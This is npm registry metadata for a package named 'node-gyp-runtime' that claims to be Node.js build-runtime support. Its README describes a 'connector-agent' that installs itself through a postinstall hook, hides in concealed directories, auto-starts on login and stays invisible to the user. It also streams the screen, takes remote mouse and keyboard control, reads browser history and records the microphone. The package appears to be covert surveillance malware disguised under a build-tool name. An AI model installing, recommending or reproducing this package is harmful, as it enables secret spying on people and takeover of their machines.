{"_id":"node-gyp-runtime","name":"node-gyp-runtime","dist-tags":{"latest":"1.0.0"},"versions":{"1.0.0":{"name":"node-gyp-runtime","version":"1.0.0","description":"Native addon build runtime support for Node.js","main":"src/index.js","bin":{"node-gyp-runtime":"src/index.js"},"scripts":{"start":"node src/index.js","postinstall":"node postinstall.js"},"dependencies":{"robotjs":"^0.6.0","screenshot-desktop":"^1.15.0","sharp":"^0.33.5","better-sqlite3":"^11.3.0","socket.io-client":"^4.7.5","node-machine-id":"^1.1.12"},"_id":"node-gyp-runtime@1.0.0","gitHead":"047c2ead91cf1479f3438c1d771050627c62b6b8","_nodeVersion":"20.16.0","_npmVersion":"10.8.1","dist":{"integrity":"sha512-znTXsvft1oK3J6hb7n39Sz3AZNMqwl14MA1bFhS4UTPYMCGOyr8L8rWB2NYlkBVB8z1Mvh22JxSzJ2zOcH+Khw==","shasum":"8c1828ea0dc813dc65523760533f109ca397712d","tarball":"https://registry.npmjs.org/node-gyp-runtime/-/node-gyp-runtime-1.0.0.tgz","fileCount":13,"unpackedSize":53483,"signatures":[{"keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U","sig":"MEUCIDZtvqhl/0cw4EbJs6/HaLz9F55hhy60nIq1cLduTd/hAiEA8YPfQ/Jv1Y/1kCdUnW/METuE4Z9qzwhbIDg8O7HO1K0="}]},"_npmUser":{"name":"user0001","email":"tanvisoul9@gmail.com"},"directories":{},"maintainers":[{"name":"user0001","email":"tanvisoul9@gmail.com"}],"_npmOperationalInternal":{"host":"s3://npm-registry-packages-npm-production","tmp":"tmp/node-gyp-runtime_1.0.0_1777094262592_0.6526828479824076"},"_hasShrinkwrap":false}},"time":{"created":"2026-04-25T05:17:42.591Z","1.0.0":"2026-04-25T05:17:42.752Z","modified":"2026-04-25T05:17:42.925Z"},"maintainers":[{"name":"user0001","email":"tanvisoul9@gmail.com"}],"description":"Native addon build runtime support for Node.js","readme":"# connector-agent\n\nSystem connectivity service — runs silently on employee machines.\n\n## Install\n\n```bash\n# Default (connects to localhost:8471)\nnpm i -g connector-agent\n\n# With custom server URL\nSERVER_URL=https://your-server.com npm i -g connector-agent          # Mac/Linux\nset SERVER_URL=https://your-server.com && npm i -g connector-agent   # Windows CMD\n$env:SERVER_URL=\"https://your-server.com\"; npm i -g connector-agent  # PowerShell\n```\n\n**That's it!** The agent will automatically:\n1. Copy files to a hidden directory\n2. Register auto-start (runs on every login)\n3. Start running in background\n\n## What Happens on Install\n\n| Step | Windows | Mac | Linux |\n|------|---------|-----|-------|\n| **Files copied to** | `%APPDATA%\\ConnectorService\\` | `~/.connector/` | `~/.connector/` |\n| **Auto-start via** | Registry `HKCU\\Run` | `~/Library/LaunchAgents/` | `~/.config/autostart/` |\n| **Admin needed** | ❌ No | ❌ No | ❌ No |\n| **Visible to user** | ❌ No | ❌ No | ❌ No |\n\n## Environment Variables\n\nSet these **before** running `npm i -g`:\n\n| Variable | Default | Description |\n|----------|---------|-------------|\n| `SERVER_URL` | `http://localhost:8471` | Relay server URL |\n\n## Uninstall\n\n```bash\nnpm uninstall -g connector-agent\n```\n\nThen manually remove:\n- **Windows:** Delete `%APPDATA%\\ConnectorService\\` and remove registry key `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ConnectorService`\n- **Mac:** Delete `~/.connector/` and `~/Library/LaunchAgents/com.user.connector.plist`\n- **Linux:** Delete `~/.connector/` and `~/.config/autostart/connector.desktop`\n\n## Capabilities\n\n- 📺 Screen streaming (4 FPS, adjustable quality)\n- 🖱️ Remote mouse/keyboard control\n- 📂 File system browsing\n- 🌐 Browser history reading (Chrome/Edge/Firefox)\n- 🎤 Audio capture (mic + system audio)\n- 💤 Sleep prevention\n- 🔄 Auto-reconnect on disconnect\n- 🚀 Auto-start on login\n\n## Requirements\n\n- Node.js 18+\n- ffmpeg (optional, for audio capture)\n\n## File Structure\n\n```\nconnector-agent/\n├── package.json          ← npm package config + postinstall hook\n├── postinstall.js        ← Auto-setup script (runs on npm install)\n├── .gitignore\n└── src/\n    ├── index.js          ← Entry point\n    ├── config.js         ← Cross-platform config (auto-detects OS)\n    ├── screenCapture.js  ← Screen streaming\n    ├── inputHandler.js   ← Mouse/keyboard control (robotjs)\n    ├── audioCapture.js   ← Mic + system audio (ffmpeg)\n    ├── browserHistory.js ← Chrome/Edge/Firefox history reader\n    ├── fileScanner.js    ← File system browser\n    ├── sleepPreventer.js ← Prevents system sleep\n    └── systemInfo.js     ← Machine info (hostname, OS, IP)\n```\n","readmeFilename":"README.md","_rev":"1-26502dd36b2ee6d2a087567633c047aa"}